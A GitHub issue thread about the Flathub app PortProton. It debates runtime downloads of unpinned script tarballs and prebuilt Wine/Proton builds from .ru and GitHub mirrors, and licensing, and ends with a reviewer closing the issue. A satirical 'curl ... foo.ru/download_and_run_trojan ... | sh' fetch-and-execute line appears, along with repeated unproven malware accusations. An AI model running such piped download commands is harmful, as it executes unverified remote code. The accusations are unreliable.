Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

License violation and suspicious app on Flathub #5195

Closed
tim77 opened this issue Apr 28, 2024 · 76 comments
Closed

License violation and suspicious app on Flathub #5195

tim77 opened this issue Apr 28, 2024 · 76 comments

Comments

@tim77
Copy link

tim77 commented Apr 28, 2024

App: ru.linux_gaming.PortProton

Where is actual build manifest of this WINE/Proton build? It's proprietary binary downloaded unclear where from and no one even know how it was built. How is this even published under MIT license? It's literally basically:

#!/usr/bin/bash
curl -O https://foo.ru/download_and_run_trojan_on_my_pc.sh | sh

How this even passed the review?

@tim77 tim77 changed the title Licence violation and malicious app on Flathub License violation and malicious app on Flathub Apr 28, 2024
@tim77 tim77 changed the title License violation and malicious app on Flathub License violation and suspicious app on Flathub Apr 28, 2024
@Boria138
Copy link

The sources of the PortProton project can be found safely on Github https://github.com/Castro-Fidel/PortWINE custom versions of Proton and Wine with all patches here https://github.com/Castro-Fidel/wine_builds, so I consider the claim unfounded.

@Boria138
Copy link

The portproton file in flathub is not a binary, it's a regular bash script that will soon be in upstream, before accusing people at least bother to study the information.

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

There even two different mirrors build scripts for Russians speaking and non-russians:

# choose mirror
if [[ -z "$MIRROR" ]] \
&& [[ "$LANGUAGE" == "ru" ]]
then
    echo 'export MIRROR="CDN"' >> "$USER_CONF"
    export MIRROR="CDN"
elif [[ -z "$MIRROR" ]] ; then
    echo 'export MIRROR="GITHUB"' >> "$USER_CONF"
    export MIRROR="GITHUB"
fi

@Boria138
Copy link

There even two different mirrors build scripts for Russians speaking and non-russians:

# choose mirror
if [[ -z "$MIRROR" ]] \
&& [[ "$LANGUAGE" == "ru" ]]
then
    echo 'export MIRROR="CDN"' >> "$USER_CONF"
    export MIRROR="CDN"
elif [[ -z "$MIRROR" ]] ; then
    echo 'export MIRROR="GITHUB"' >> "$USER_CONF"
    export MIRROR="GITHUB"
fi

CDN costs money and not small so it is used only by Russian users who have a problem with github, also the mirror can be easily changed, and how in general the topic jumped to CDN

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

What exactly does this script download and from where and how can we be sure that it is legal and not malicious?

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

What exactly does this script download and from where and how can we make sure that it is legal (allowed for redistribution) and not malicious.

@Boria138
Copy link

What exactly does this script download and from where and how can we make sure that it is legal (allowed for redistribution) and not malicious.

https://github.com/Castro-Fidel/PortWINE/releases
https://github.com/Castro-Fidel/wine_builds/releases

Here is everything that is used in PortProton everything the same is on cdn.linux-gaming.ru

@Boria138
Copy link

If the fact that cdn is only used in a certain country because it is expensive to use cdn worldwide is enough to say that PortProton spreads viruses, then I have nothing to say.

@Boria138
Copy link

Absolutely everything that is in PortProton is 100% open except Steam Runtime Sniper, but it is not used in flatpak and in general is taken directly from Steam, so once again I repeat before accusing the project PortProton in something or provide evidence

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

What exactly does this script download and from where and how can we make sure that it is legal (allowed for redistribution) and not malicious.

https://github.com/Castro-Fidel/PortWINE/releases https://github.com/Castro-Fidel/wine_builds/releases

Here is everything that is used in PortProton everything the same is on cdn.linux-gaming.ru

The portproton file in flathub is not a binary

Exactly what i wrote in original post: it's a script which downloads binaries which no one can reproduce and even from different mirrors:
https://github.com/Castro-Fidel/wine_builds/releases/download/PROTON_LG_9-4/PROTON_LG_9-4.tar.xz
The second on one mirror even not on github and downloads from .ru domain.

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

Absolutely everything that is in PortProton is 100% open

Yeah, except proprietary blobs from your local PC which downloaded by your script published on Flathub.

@Boria138
Copy link

@Boria138
Copy link

Absolutely everything that is in PortProton is 100% open

Yeah, except proprietary blobs from your local PC which downloaded by your script published on Flathub.

At least one proprietary component that you can't look into please

@Boria138
Copy link

Exactly what i wrote in original post: it's a script which downloads binaries which no one can reproduce and even from different mirrors:

Specifically this script only downloads the master branch from https://github.com/Castro-Fidel/PortWINE, about cdn already for the second time I repeat the separation is done to save money, but at the same time you can change the mirror with one button in the gui, I guess if the purpose was to infect the computer, then on git where you can see everything could not be switched

@Boria138
Copy link

Screenshot_20240428_234507

Find a piece of code related to changing mirrors and make sure it's not just a stub

@Boria138
Copy link

downloads from .ru domain.

I didn't like this part at all, why emphasize that the domain is .ru, although it is not hidden and is written literally in the id PortProton, do you have some kind of personal dislike specifically for Russians?

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

so once again I repeat before accusing the project PortProton in something or provide evidence

Please tell me on what reality should i provide evidence, not you, as app developer, how your blobs downloaded by script published on Flathub anyone could reproduce? https://reproducible-builds.org/
I asked you second time and you still can't give a clear answer to this question.

And how long ago curl -O https://foo.ru/download_and_run_trojanblob_on_my_pc.sh | sh began to be called open source? And when it became allowed to be published.

@Boria138
Copy link

so once again I repeat before accusing the project PortProton in something or provide evidence

Please tell me on what reality should i provide evidence, not you, as app developer, how your blobs downloaded by script published on Flathub anyone could reproduce? https://reproducible-builds.org/ I asked you second time and you still can't give a clear answer to this question.

And how long ago curl -O https://foo.ru/download_and_run_trojanblob_on_my_pc.sh | sh began to be called open source? And when it became allowed to be published.

The Port Proton project is fully open as well as all its scripts custom versions of wine and proton are easily assembled using scripts from the wine_builds repository I don't see any proprietary blobs that you are talking about

@Boria138
Copy link

And as for the evidence you claim that PortProton is a proprietary product that should not be in flathub, I prove the opposite using links that will introduce all the sources and buildbot is it not normal for me to demand proof of your words, because at the moment you have not provided sufficient evidence that PortProton is a proprietary product

@Boria138
Copy link

In general, I do not see any point in continuing the dialogue without any real evidence of your accusations, as well as with possible bias on your part, I suggest waiting for an authorized person from flathub and only then continue

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

https://github.com/Castro-Fidel/wine_builds/releases/download/PROTON_LG_9-4/PROTON_LG_9-4.tar.xz

The link https://cdn.linux-gaming.ru/PROTON_LG_9-4.tar.xz downloads exactly the same file as from the git

  1. You pointed in link with precompiled sources, blob. Before you stated many times that there is any proprietary blobs. I already asked you two times how to reproduce this blobs — no answer.

downloads exactly the same file as from the git

  1. Should we take your word for it? There are no even any checks in the build process that this downloaded tarball is deterministic. Moreover, in priority, the first attempt is to download from the .ru source and only then from github:
echo -e "\nTry download scripts from gitlab.eterfund.ru..."
if ! curl -f -# -A "Mozilla/5.0 (compatible; Konqueror/2.1.1; X11)" -H 'Cache-Control: no-cache, no-store' -H 'Pragma: no-cache' \
	-L "https://gitlab.eterfund.ru/Castro-Fidel/PortWINE/-/archive/master/PortWINE-master.tar.gz" \
	-o "${PORT_WINE_TMP_PATH}/PortWINE-master.tar.gz"
then
	echo -e "\nError.\nTry download scripts from github.com..."
	curl -f -# -A "Mozilla/5.0 (compatible; Konqueror/2.1.1; X11)" -H 'Cache-Control: no-cache, no-store' -H 'Pragma: no-cache' \
	-L "https://github.com/Castro-Fidel/PortWINE/archive/refs/heads/master.tar.gz" \
	-o "${PORT_WINE_TMP_PATH}/PortWINE-master.tar.gz"
	[ "$?" != "0" ] && fatal "Critical error during file download!"
fi
echo "Try unpacking scripts..."
tar -xvzf "${PORT_WINE_TMP_PATH}/PortWINE-master.tar.gz" -C "${PORT_WINE_TMP_PATH}"

The contents of this PortWINE-master.tar.gz could be changed at any time. Anything could be added/changed there and it will be impossible to even see the change. It will be impossible to even view and track the commit history as is the case with github.

@Boria138
Copy link

https://github.com/Castro-Fidel/wine_builds/releases/download/PROTON_LG_9-4/PROTON_LG_9-4.tar.xz

The link https://cdn.linux-gaming.ru/PROTON_LG_9-4.tar.xz downloads exactly the same file as from the git

  1. You pointed in link with precompiled sources, blob. Before you stated many times that there is any proprietary blobs. I already asked you two times how to reproduce this blobs — no answer.

downloads exactly the same file as from the git

  1. Should we take your word for it? There are no even any checks in the build process that this downloaded tarball is deterministic. Moreover, in priority, the first attempt is to download from the .ru source and only then from github:
echo -e "\nTry download scripts from gitlab.eterfund.ru..."
if ! curl -f -# -A "Mozilla/5.0 (compatible; Konqueror/2.1.1; X11)" -H 'Cache-Control: no-cache, no-store' -H 'Pragma: no-cache' \
	-L "https://gitlab.eterfund.ru/Castro-Fidel/PortWINE/-/archive/master/PortWINE-master.tar.gz" \
	-o "${PORT_WINE_TMP_PATH}/PortWINE-master.tar.gz"
then
	echo -e "\nError.\nTry download scripts from github.com..."
	curl -f -# -A "Mozilla/5.0 (compatible; Konqueror/2.1.1; X11)" -H 'Cache-Control: no-cache, no-store' -H 'Pragma: no-cache' \
	-L "https://github.com/Castro-Fidel/PortWINE/archive/refs/heads/master.tar.gz" \
	-o "${PORT_WINE_TMP_PATH}/PortWINE-master.tar.gz"
	[ "$?" != "0" ] && fatal "Critical error during file download!"
fi
echo "Try unpacking scripts..."
tar -xvzf "${PORT_WINE_TMP_PATH}/PortWINE-master.tar.gz" -C "${PORT_WINE_TMP_PATH}"

The contents of this PortWINE-master.tar.gz could be changed at any time. Anything could be added/changed there and it will be impossible to even see the change. It will be impossible to even view and track the commit history as is the case with github.

All scripts for building Proton in wine_builds there and links to sources, about git I do not understand, how can you change the master downloaded from git ? Scripts are not downloaded from cdn because they are small, so it is not possible to change anything in the process

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

This app should be removed from Flathub entirely as soon as possible, this fact alone is enough:

curl -f -# -A "Mozilla/5.0 (compatible; Konqueror/2.1.1; X11)" -H 'Cache-Control: no-cache, no-store' -H 'Pragma: no-cache' \
	-L "https://gitlab.eterfund.ru/Castro-Fidel/PortWINE/-/archive/master/PortWINE-master.tar.gz" \
	-o "${PORT_WINE_TMP_PATH}/PortWINE-master.tar.gz"

@Boria138
Copy link

This app should be removed from Flathub entirely as soon as possible, this fact alone is enough:

curl -f -# -A "Mozilla/5.0 (compatible; Konqueror/2.1.1; X11)" -H 'Cache-Control: no-cache, no-store' -H 'Pragma: no-cache' \
	-L "https://gitlab.eterfund.ru/Castro-Fidel/PortWINE/-/archive/master/PortWINE-master.tar.gz" \
	-o "${PORT_WINE_TMP_PATH}/PortWINE-master.tar.gz"

gutlab.eterfund.ru is just gitlab raised by etersoft, nothing can be changed there either

@Boria138
Copy link

On the link https://gitlab.eterfund.ru/Castro-Fidel/PortWINE is absolutely the same source code as on github, because it's just a mirror of guthub, just push occurs in two places at once, that's all, again for the reason I have repeatedly voiced github in cis countries works terrible

@Boria138
Copy link

I don't understand is it not normal practice to divide cercals by geo for the sake of economy ? What makes you think that if a project has three mirrors there are viruses ?

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

I don't understand is it not normal practice to divide cercals by geo for the sake of economy ? What makes you think that if a project has three mirrors there are viruses ?

GOTO 10

@Boria138
Copy link

I don't understand is it not normal practice to divide cercals by geo for the sake of economy ? What makes you think that if a project has three mirrors there are viruses ?

GOTO 10

How to change the master branch on the git so that it can not be traced in any way ?

@Boria138
Copy link

Exactly, all this three times means that this blobs no one can reproduce since this build non-reproducible. And they are not even build on Github infra. This is just proprietary blobs attached on Release page

Build scripts here https://github.com/Castro-Fidel/wine_builds clone and build wine everything is reproducible, and don't mix PortProton and wine used in it into one mess, wine builds are not on gitlab.

@Boria138
Copy link

gitlab.eterfund.ru (for no reason)

For the thousandth time I explain github in cis countries feels terrible, so in the wrapper that downloads all other scripts when running gitlab in priority, because complaints almost every day that PortProton is not downloaded disappeared only when switching to gitlab.

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

everything is reproducible

Just 5 minutes ago you said exactly the opposite:

The installation script always downloads the most recent commit in the master because that's how versions work, a commit with a version is a new version no releases, it's basically a git package, but it's not because the versions are tested before the commit, I have nothing to check, the master always has a different chexumma, I would then have to update flatpak every script update which is quite time consuming.

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

gitlab.eterfund.ru (for no reason)

For the thousandth time I explain github in cis countries feels terrible, so in the wrapper that downloads all other scripts when running gitlab in priority, because complaints almost every day that PortProton is not downloaded disappeared only when switching to gitlab.

#5195 (comment)

@Boria138
Copy link

everything is reproducible

Just 5 minutes ago you said exactly the opposite:

The installation script always downloads the most recent commit in the master because that's how versions work, a commit with a version is a new version no releases, it's basically a git package, but it's not because the versions are tested before the commit, I have nothing to check, the master always has a different chexumma, I would then have to update flatpak every script update which is quite time consuming.

This is an installation script, and you say that wine does not reproduce wine just calmly builds, do not mix one with another

@Boria138
Copy link

You claimed that the versions of wine and proton used in PortProton are proprietary and cannot be built, which I pointed out four times that this is not true, now the build of wine and proton somehow included my words about the installation script, how is this related ?

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

You claimed that the versions of wine and proton used in PortProton are proprietary and cannot be built

Please quote me when and where i claimed that.

#5195 (comment)

@Boria138
Copy link

You claimed that the versions of wine and proton used in PortProton are proprietary and cannot be built

Please quote me when and where i claimed that.

#5195 (comment)

PortProton has no binary except for wine and proton, so the only thing that can not be reproduced is the assembly of wine and proton everything else is bare bash scripts that are not assembled and most importantly downloaded separately, not inside flatpak.

@Boria138
Copy link

For the millionth time I repeat in flathub there is only a wrapper that downloads scripts, there is nothing even assembled just this wrapper in /app/bin/ is copied and it in turn downloads scripts itself wrapper here https://github.com/flathub/ru.linux_gaming.PortProton/blob/master/portproton nothing illegal it does not do just downloads scripts and then runs setup from here https://github.com/Castro-Fidel/PortWINE/blob/master/data_from_portwine/scripts/setup.sh, that's the whole scheme.

@Boria138
Copy link

Should I specifically for flatpak not download from gitlab and get a bunch of problems what ?

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

PortProton has no binary except for wine and proton

Seriously? Here is a full tree of wine blob provided by you: portproton-tree.txt
There thousand of .dll and .so files and 6 binary files just in /bin dir, maybe more somewhere else.

Also i am not expert in Wine build but as far i know WINE itself in general impossible to made deterministic builds (yet). So maybe you can teach everyone else how you achieved this?

Or what you will say if this will also turn out to be also untrue? It's easy to check. Everyone could check this if brave enough to run curl | malware.sh on their machine.

Also if your Wine builds reproducible, as you said, why you not builds it on Github with Actions or on Flathub infra which is even more correct?

@tim77
Copy link
Author

tim77 commented Apr 28, 2024

downloads scripts itself wrapper here https://github.com/flathub/ru.linux_gaming.PortProton/blob/master/portproton nothing illegal it does not do just downloads scripts and then runs setup from here https://github.com/Castro-Fidel/PortWINE/blob/master/data_from_portwine/scripts/setup.sh, that's the whole scheme.

No, it downloads scripts not from here, but from here:

echo -e "\nTry download scripts from gitlab.eterfund.ru..."
if ! curl -f -# -A "Mozilla/5.0 (compatible; Konqueror/2.1.1; X11)" -H 'Cache-Control: no-cache, no-store' -H 'Pragma: no-cache' \
	-L "https://gitlab.eterfund.ru/Castro-Fidel/PortWINE/-/archive/master/PortWINE-master.tar.gz" \
	-o "${PORT_WINE_TMP_PATH}/PortWINE-master.tar.gz"

This is hilarious how you still trying to obfuscate this fact. The question is why?

@Boria138
Copy link

This is hilarious how you still trying to obfuscate this fact. The question is why?

Right I'm trying so hard to hide this fact that all this can be found out by the script which is not encrypted at all on flathub, and gitlab.eterfund.ru itself is fully publicly available is really hilarious, don't you think that if I had a desire to hide something I would for example close the repository for viewing allowing only to download master.tar.gz from there and that's it, don't get involved in substitution of notions why gitlab is in priority I've written many times, there is no other reason

@Boria138
Copy link

Seriously? Here is a full tree of wine blob provided by you: portproton-tree.txt\nThere thousand of .dll and .so files and 6 binary files just in /bin dir, maybe more somewhere else.

And all of them are from wine and proton, open a regular proton and you'll get about the same list, so what does that tell you?

@Boria138
Copy link

Also i am not expert in Wine build but as far i know WINE itself in general impossible to made deterministic builds (yet). So maybe you can teach everyone else how you achieved this?

Glorious Eggroll which builds Proton GE via Github Actions I take it has not achieved this either ? The only reason why we don't have autobuild is because it's not needed Github builds Proton two hours locally it takes 15 minutes to build it

@Boria138
Copy link

Or what you will say if this will also turn out to be also untrue? It's easy to check. Everyone could check this if brave enough to run curl | malware.sh on their machine.

Run on a virtual machine or just look at the code that happens in these scripts, it's easy to accuse a person of something constantly finding stupid excuses, I gave you a link with all the tools and sources, if you are afraid to run them, then I have nothing to say, I do not hide anything

@Boria138
Copy link

functions_helper

MD5: a2eec09bdb3da77d11705b62b0f4b472

start.sh

MD5: a26a4f391c87981c461206b9bf144a43

setup.sh

MD5: ce31dee5f1bd94ea17b00e5a17051423

var

MD5: dbc876f9080e94c25352592dd88789d7

add_in_steam.sh

MD5: f5a2fe3ba44f3b832f4beac2e44009f6

credits

MD5: e3bb6905cba27cb0c9b2a1164cc50230

Here is a list of all the main script files and their md5 sums, you can do a git clone on github and gitlab and make sure that the sums of these files do not differ.

@tim77
Copy link
Author

tim77 commented Apr 29, 2024

Also i am not expert in Wine build but as far i know WINE itself in general impossible to made deterministic builds (yet). So maybe you can teach everyone else how you achieved this?

Glorious Eggroll which builds Proton GE via Github Actions I take it has not achieved this either ?

You, as wine/proton "developer" ask me about this? 😆 You just said in an earlier message that your "scripts clone and build wine everything is reproducible" and now you saying that you take binary artifacts of Proton-GE. What's going on? Do you even understand what is reproducible build from sources? And how many times I will catch your false statements and attempts to strawmanning? You yourself don’t know and don’t understand what’s happening in your build process, confused in yours bash scripts? Which downloads another bash script which download another bash script from foo.ru source without any user prompt, without any checks during download process. Which downloads non-reproducible binary artifacts under not MIT license. And after that downloads binary files from your local machine!

I dont see any of this License files and notices in your PortWINE-master.tar.gz. Any of them:

Copyright (c) 2018-2022, Valve Corporation
All rights reserved.

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.

3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software without
specific prior written permission.
  • WINE itself under LGPL 2.1 license.
  • DXVK licensed under the zlib/libpng license.
  • vkd3d-proton is: Copyright 2016-2022 the vkd3d-proton project authors

and many, many more, see https://github.com/GloriousEggroll/proton-ge-custom/blob/master/dist.LICENSE

GloriousEggroll provided full build process on his git project with all necessary license files. GloriousEggroll do not downloading during build process any new unverified tarbals with bunch of scripts WITHOUT ANY USER PROMT which contain everything and anything could be added into them on the fly WITHOUT ANY WAY to even notice the difference. All his changes in build process could be tracked and verified normally via regular git commit history. He provided full build process from sources from his github project. And he also provide build artifacts on trusted infra which built on Github. Not from his localhost. Do you even understand the difference?

In what reality such app allowed to be published under MIT license which heavily depends on many other stuff licensed under non-MIT license? When non-reproducible binaries from user local machine which it is unknown how and by whom they were built when even their author himself does not understand how they are built are called open source and published under MIT license? I am not even talking about trusted, safe build, project here.

The only reason why we don't have autobuild is because it's not needed Github builds Proton two hours locally it takes 15 minutes to build it

Wait, what? You just said that you not building it properly on trusted infra like github or flathub because it takes 2 hours to build? And that's a reason why you build it on your local machine, seriously? I've never heard such nonsense before. So we all who building software on trusted infra like provided by Linux distributions or Flathub or github all idiots maybe in your opinion? Especially big projects like Chromium the build process of which can take a day or more. And all this requirements and rules for packaging trusted and safe FOSS software not applies to you?

Nowadays everyone can publish on Flathub bash script with
curl -O https://foo.ru/download_and_patch_adobe_photoshop_no-trial.sh | sh under MIT license and it will be flagged as trusted and free Community built ❤️👍? What's going on?
from_russia_with_love

@tim77
Copy link
Author

tim77 commented Apr 29, 2024

functions_helper

MD5: a2eec09bdb3da77d11705b62b0f4b472

start.sh

MD5: a26a4f391c87981c461206b9bf144a43

setup.sh

MD5: ce31dee5f1bd94ea17b00e5a17051423

var

MD5: dbc876f9080e94c25352592dd88789d7

add_in_steam.sh

MD5: f5a2fe3ba44f3b832f4beac2e44009f6

credits

MD5: e3bb6905cba27cb0c9b2a1164cc50230

Here is a list of all the main script files and their md5 sums, you can do a git clone on github and gitlab and make sure that the sums of these files do not differ.

At this point it's clearly you completely incompetent and ignorant or you doing this intentionally to hide the fact that your goal is to install malware on users machines. Here we go again.

Me or anyone else don't needed your MD5 sums in such forum talks. What we all need is that all this checks was were in build process like everyone do. Fulfill all requirements for the build after which it can only be called trusted and safe. But you even do not tried to fix this. Instead your tried to convince us that downloading random unverified tarball with scripts and executable files every time on every launch of portproton without user prompt — is OKay!

Anyone else would never even publish something like this publicly, such hello_world bash scripts kiddies. It's a shame.

@tim77
Copy link
Author

tim77 commented Apr 29, 2024

Facts:

  • PortWINE-master.tar.gz contain executables and downloads from non-trusted out of flathub/github infra source. Every time without user prompt. There is no way to notice any difference and track changes in this tarball. Because it doesn't have any checks like:

    • GPG signature
    • Hash sum checks
    • Fixed git commit version which could be tracked and verified by anyone via git commit history
    • Downloads from non-trusted source Flathub administrators do not have access to it
    • Do not prompt and show user what changes was made in this update. Like AUR helpers showing diff's for example in Arch Linux.
  • App published under MIT license which heavily depends on many other stuff licensed under non-MIT license including some pretty restrictive requirements.

  • Downloads and depends 3rd-party binary artifacts.

  • Downloads non-reproducible binaries from user local machine which it is unknown how and by whom they were built when even their author himself does not understand how they are was built.

  • After trying to clarify with the author of the portproton how we can trust and be sure that every legal, allowed for redistribution and not malicious, author said we have to take his word for it instead of fixing all issues. There is absolutely zero reasons for downloading every time every app launch this malicious tarball and why this bash script couldn't be published on Github or Flathub itself. It could be even automated via flathub bot which could automate whole process and build and publish every new commit in upstream with this bash scripts.

  • All this is published in Flathub under MIT license, with verified status and Community built ❤️👍 badge. When WINE will be ported on Wayland and if author of portproton will figure out one day how to remove --filesystem=host restriction, then app will be marked moreover is "Safe" on Flathub store page. This is hilarious. It is called open source nowadays. Flathub will never be and will not even come close to the usual rpm/deb/arch.tar.zst/etc package quality and safety, security of official Linux distro repositories, unfortunately.

@razzeee
Copy link
Member

razzeee commented Apr 29, 2024

Flathub will never be and will not even come close to the usual rpm/deb/arch.tar.zst/etc package quality and safety, security of official Linux distro repositories, unfortunately.

FYI, it would be marked as Safe from other sources too, I would even expect that to be sooner the case, as rpm/deb are known to overwrite the actual permission checks

@tim77
Copy link
Author

tim77 commented Apr 29, 2024

Flathub will never be and will not even come close to the usual rpm/deb/arch.tar.zst/etc package quality and safety, security of official Linux distro repositories, unfortunately.

FYI, it would be marked as Safe from other sources too, I would even expect that to be sooner the case, as rpm/deb are known to overwrite the actual permission checks

No, it will not. But not for the reason you mentioned. This "app" will never be in other high quality, trusted sources, because any mainstream Linux distro doesn't allow such stuff for packaging in official repo. There is not portproton in Arch Linux for example. And not without reason. Only in AUR, and AUR is:

If a package becomes popular enough — provided it has a compatible license and good packaging technique — it may be entered into the extra repository (directly accessible by pacman or from the Arch build system).

Warning: AUR packages are user-produced content. These PKGBUILDs are completely unofficial and have not been thoroughly vetted. Any use of the provided files is at your own risk.

No respectable source would ever allow such things to be distributed and published.

@razzeee
Copy link
Member

razzeee commented Apr 29, 2024

Please read what I've said. It was a general statement and not connected to this app.

@bbhtt
Copy link
Contributor

bbhtt commented May 28, 2024

Any app with network access (--share=network) can and may, at runtime, download random files over the internet like it or not without any implications. The comparison with distro packages does not work because at least with flatpak you can revoke network access which is not possible on fully unsandboxed apps. If you feel unsafe about an app connecting to network, you can revoke that permission by flatpak override or Flatseal.

I agree that the custom wine and proton builds are better placed in the manifest instead of scripts in repo, but it's not possible to enforce that because wine and proton are too unstable and each apps/game require their own patches/version. There are also other applications like Steam and Bottles etc. doing similar things like downloading custom proton builds at runtime on user interaction. So we would need block them too and review every single code change/update of all apps to ensure they don't do something similar. This is not possible.

Now about the licensing situation @Boria138:

  1. Please try to include any original copyright or license notices in /app/share/licenses/<component_name>.
  2. If a license prohibits redistribution of that component, you can use it as a extra-data source https://docs.flatpak.org/en/latest/module-sources.html#extra-data
  3. You can use conditionals like License A AND License B in the license tag of appstream if that is required https://docs.flathub.org/docs/for-app-authors/metainfo-guidelines/#license

We don't have the manpower or the legal expertise to determine what the final license should be when so many custom licenses are involved. But it is best to include the original license and to not modify the libraries in such cases.

https://github.com/Castro-Fidel/PortWINE/releases
https://github.com/Castro-Fidel/wine_builds/releases

Here is everything that is used in PortProton everything the same is on cdn.linux-gaming.ru

@Boria138 Please document these in the readme here https://github.com/flathub/ru.linux_gaming.PortProton and how the tarball you are shipping is created.

@bbhtt
Copy link
Contributor

bbhtt commented May 28, 2024

If there are any specific examples of Portporton shipping malicious libraries or binaries or just being malicious in general rather than what can be malicious please report them to [email protected] or open separate issues with specific examples.

I'm closing the issue, since it veered off course too much with a heated debate and there is nothing I see needing action from us, right now.

@Boria138
Copy link

Any app with network access (--share=network) can and may, at runtime, download random files over the internet like it or not without any implications. The comparison with distro packages does not work because at least with flatpak you can revoke network access which is not possible on fully unsandboxed apps. If you feel unsafe about an app connecting to network, you can revoke that permission by flatpak override or Flatseal.

I agree that the custom wine and proton builds are better placed in the manifest instead of scripts in repo, but it's not possible to enforce that because wine and proton are too unstable and each apps/game require their own patches/version. There are also other applications like Steam and Bottles etc. doing similar things like downloading custom proton builds at runtime on user interaction. So we would need block them too and review every single code change/update of all apps to ensure they don't do something similar. This is not possible.

Now about the licensing situation @Boria138:

  1. Please try to include any original copyright or license notices in /app/share/licenses/<component_name>.
  2. If a license prohibits redistribution of that component, you can use it as a extra-data source https://docs.flatpak.org/en/latest/module-sources.html#extra-data
  3. You can use conditionals like License A AND License B in the license tag of appstream if that is required https://docs.flathub.org/docs/for-app-authors/metainfo-guidelines/#license

We don't have the manpower or the legal expertise to determine what the final license should be when so many custom licenses are involved. But it is best to include the original license and to not modify the libraries in such cases.

https://github.com/Castro-Fidel/PortWINE/releases
https://github.com/Castro-Fidel/wine_builds/releases

Here is everything that is used in PortProton everything the same is on cdn.linux-gaming.ru

@Boria138 Please document these in the readme here https://github.com/flathub/ru.linux_gaming.PortProton and how the tarball you are shipping is created.

So I need to attach BSD 3 license (Proton) LGPL 2.1 (Wine) and MIT (PortProton) in /app/share/licence ? How do I do this correctly ? PortProton license is upstream, but where do I get the proton and wine license

@bbhtt
Copy link
Contributor

bbhtt commented May 28, 2024

Those licenses should be in the tarball source or whatever you are using. For example any debs always include them.

You can just move them to /app/share/licenses.

And also please document the process to create the tarball in readme, can be a link.

@Boria138
Copy link

And also please document the process to create the tarball in readme, can be a link.

I added a Readme where I described where the archive came from, but I also made a PR in upstream where I added the ability to unpack the archive if it is in the path

.var/app/en.linux_gaming.PortProton/data/tmp/

So, at the next update even those who are afraid that something happens to the tarball during the download can just download the master themselves and put it where they need it, I guess that takes care of the problem.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

4 participants